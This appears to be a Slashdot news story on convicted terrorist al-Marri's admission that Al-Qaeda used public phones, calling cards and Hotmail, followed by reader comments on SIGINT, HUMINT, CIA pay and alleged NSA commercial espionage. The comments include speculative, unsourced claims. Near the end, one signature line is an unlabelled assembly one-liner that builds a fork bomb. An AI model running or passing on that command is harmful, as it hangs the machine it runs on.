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Al-Qaeda Used Basic Codes, Calling Cards, Hotmail
jd writes "In startling revelations, convicted terrorist Ali Saleh Kahlah al-Marri admitted that Al Qaeda used public telephones, pre-paid calling cards, search engines and Hotmail. Al-Marri 'used a '10-code' to protect the [phone] numbers — subtracting the actual digits in the phone numbers from 10 to arrive at a coded number.' The real story behind all this is that the terrorists weren't using sophisticated methods to avoid detection or monitoring — which tells us just how crappy SIGINT really is right now. If the NSA needs to wiretap the whole of the US because they can't break into a Hotmail account, you know they've got problems. FindLaw has a copy of al-Marri's plea agreement (the tech-related information begins on page 12), and the LA Times has further details on his case."
The dastardly part of all this is that the NSA/CIA may not be allowed to disclose all of their successes. Methods and processes that produce good intelligence have to be protected from public disclosure. For all we know, Hotmail has been cracked and the NSA/CIA made a false disclosure to get the terrorists all happy about their ability to elude the vaunted three-letter agencies. I mean, when the FBI makes an arrest based on an informant, they make sure to bust the informant as well, even making sure to smack him around a little so as to allay his concerns.
It's entirely possible that the intelligence organizations suck, but perhaps they have successes that we would not know about for decades. The "secret killing program" in Iraq sounds like one of those things.
A NYC lawyer blogs. http://www.chuangblog.com/
SIGINT will never be as good as a man on the ground. Our national intelligence agencies have become scared of taking risks. A satellite doesn't risk capture and torture. After all, there are 89 stars in the CIA wall, and no one wants to add another one during peacetime. But you just can't help think what we could have done if we maintained our aggressiveness with HUMINT during peacetime. A white guy named John Walker Lindh was able to walk into Pakistan and get a face-to-face meeting with Bin Laden after a few months. Now Al Qaeda is all on guard so it's tough to compromise them. But peacetime would have been the best time to break into their organizations, though civil liberty folks might freak out.
A NYC lawyer blogs. http://www.chuangblog.com/
No, but it means spending on people in the field, rather than generating big hi-tech budgets with cool buzz-words, and your own personal fiefdom. Security takes second seat to "oh, shiny." Always has (just look at car designers resistance to incorporating safety features).
As the NSA, FBI, and CIA are involved, you CANNOT trust this plea bargain. The defendants in this case could've agreed to say such things whether or not they are true.
And why would the NSA, CIA, and/or FBI want them to say such a thing? Why in the world would the Powers That Be want to demonize these anonymous forms of communication?
FATMOUSE + YOU = FATMOUSE
SIGINT isn't just data collection -- it's also data distribution. Make the person you're listening to think they're being listened to by another group, or exchange information with an informant without them knowing who "you" are, and without them suspecting anything's wrong with the transaction.
I heard a story once [citation needed], where "we" were feeding a terrorist fake info to relay to his friends, and the terrorist gobbled it up and told his superiors... which then changed the location of some meeting, which resulted in them getting blown up (with relatively fewer civilian casualties).
present day... present time... hahahaha...
SIGINT isn't the right tool for tracking terrorist cells anyway. They don't generate enough signals.
Yeah, I think you might be right. I suspect what this really means is that they're incapable of actual, old-style spy-work. Here's what a CIA Near-East operative said:
"The CIA probably doesn't have a single truly qualified Arabic-speaking officer of Middle Eastern background who can play a believable Muslim fundamentalist who would volunteer to spend years of his life with shitty food and no women in the mountains of Afghanistan. For Christ's sake, most case officers live in the suburbs of Virginia. We don't do that kind of thing." A younger case officer boils the problem down even further: "Operations that include diarrhea as a way of life don't happen."
That's from The Atlantic's The Counterterrorist Myth:
http://www.theatlantic.com/doc/200107/gerecht
Pay some unmarried dude 20 million a year to live this shitty life in return for his services and, additionally, pay well some willing prostitues to be shipped in secret CIA planes to have fun with him secretly - call it "operation secret panties". Are there too many religious right-wingers at the CIA for ideas like this to stick?
Main difference between the BSD license and the GPL license: one is from California and the other is from Massachusetts
Speaking as someone who does work in a gov. agency, as part on the IT (no, not the IT you are thinking, it means something else to spooks), money is important. Yes, we get the plenty of folks willing to take lower pay because they feel like they are doing something with a purpose. But, and this is a big but, there are many people who won't or can't take an entry level position. Think about that rock star coder in Silicon Valley who has gotten bored and wants a new challenge? Could she apply for the CIA? Not if she has a mortgage. Can't do it. She might be willing to take a 30% pay cut to do it. It would be a stretch, but she could make her mortgage, but not the 50% that the service requires. This sort of thing might sound trivial. But there are very talented people making this calculus every day.
The other thing to realize is that the salary of an analyst or officer is really a small percentage of the total cost. It costs something like $400K/year to support many of our overseas officers. If we bumped their salary by $50/year you would certainly attract people from a much wider pool. And the cost would be minimal.
I suspect that's the tip of the iceberg. Accusations that US and UK spying agencies (through the Echelon project) were using their power for commercial espionage really began to flow in the 1990s. The European Parliament made a series of public allegations against the US in early 2000 stating that the NSA had intercepted conversations and data and passed it on to the US Commerce Department for use by American firms resulting "stolen sales". The Boeing V. Airbus that you noted is the most famous of these, but probably as large was AT&T using intercepted communications to get a half-share of an Indonesian trade contract which was initially going to NRC of Japan before the NSA got hold of the confidential details and passed them along. Lawsuits and procedings were actually filed in France, Italy and Belgium. Another instance was Raytheon getting hold of confidential information belonging to Thompson-CSF on a US$1.5bn dollar deal with Brazil for satellite imaging. Raytheon got the contract. Enercon - a German wind generator manufacturer - developed a major refinement on generating electricity. When they tried to patent it in the USA, an American corporation had beaten them to the punch. That's an especially interesting case since there were people inside the NSA that confirmed they'd spied on the German company and passed the necessary details on. Other accusations have been made by such companies as BMW and German security experts pegged costs to German industry at a minimum of US$10bn by just the year 2000.
All this apparently came straight from the top.
It's that sort of behaviour, regarded as betrayal by an ally in the European politicians,
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
It's a shame 4chan wasn't around when bin Laden's phone number was published in court documents
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's so lucky that we're the good guys.
Considering that the opposing side considers collateral damage to be a good thing (the more of it, the better), yes, I'd say so.